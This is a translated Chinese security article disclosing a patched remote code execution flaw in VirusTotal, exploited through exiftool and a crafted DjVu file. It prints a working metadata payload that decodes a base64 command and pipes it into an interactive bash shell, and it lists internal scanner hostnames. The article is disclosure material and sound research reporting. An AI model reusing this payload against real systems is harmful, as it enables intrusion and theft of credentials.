研究人员发现VirusTotal平台存在远程代码执行漏洞。
virustotal.com应用有超过70个反病毒扫描器,可以对用户上传的文件和URL进行病毒扫描。研究人员发现截图在VirusTotal平台远程执行任意命令,并获取VirusTotal平台提供的不同的扫描能力。
技术细节
第一步是上传一个djvu文件到URL https://www.virustotal.com/gui/,payload为:
content: (metadata "\c${system('bash -c \"{echo,BASE64-ENCODED-COMMAND-TO-BE-EXECUTED }|{base64,-d }|{bash,-i }\" ; clear') };")
Virustotal.com会分析该文件,但没有发现条件到metadata中的payload数据。
根据virustotal.com官方文档(https://support.virustotal.com/hc/en-us/articles/115002126889-How-it-works),virustotal.com会使用不同的扫描器。应用会发送包含payload的文件给不同的主机来执行扫描。
在virustotal主机上,exiftool工具被执行时,就会执行payload:
然后,研究人员发现这并不是一个谷歌控制的环境,而是与virustotal项目中内部扫描器与合作伙伴相关的环境。在测试中,有可能获得超过50个内部主机的访问权限。内网中识别的主机有:
172-24-241-97.kamala-prober.zion-rel.svc.cluster.local
kubernetes.default.svc.cluster.local - 172.19.0.1
scanner--rel--kaspersky-244.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-249.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-279.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-339.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--typer-7b4c979bc9-bskr8 scanner--zzbm--typer-7b4c979bc9-cf5f7
gaea.qianxin-inc.cn.qianxin-inc.cn
sandk8s23.dlc.zzbm.360es.cn
sandk8s24.dlc.zzbm.qianxin-inc.cn
sandk8s25.dlc.zzbm.qianxin-inc.cn
sandk8s26.dlc.zzbm.360es.cn
sandk8s27.dlc.zzbm.360es.cn
sandk8s28.dlc.zzbm.qianxin-inc.cn
每当研究人员上传一个含有新payload的文件(哈希值不同)时,virustotal会转发payload到其他主机:
研究人员发现网络中有不同类型的服务,包括mysql、Kubernetes、oracle数据库、http和https应用、SSH等。
因为实现了非授权的访问,就可以获得敏感和关键信息,包括Kubernetes tokens和证书、服务设置信息、源代码、日志信息等。
漏洞时间轴
研究人员在2021年4月30日提交该漏洞给谷歌,谷歌在2022年1月13日修复该漏洞。
本文翻译自:https://www.cysrc.com/blog/virus-total-blog如若转载,请注明原文地址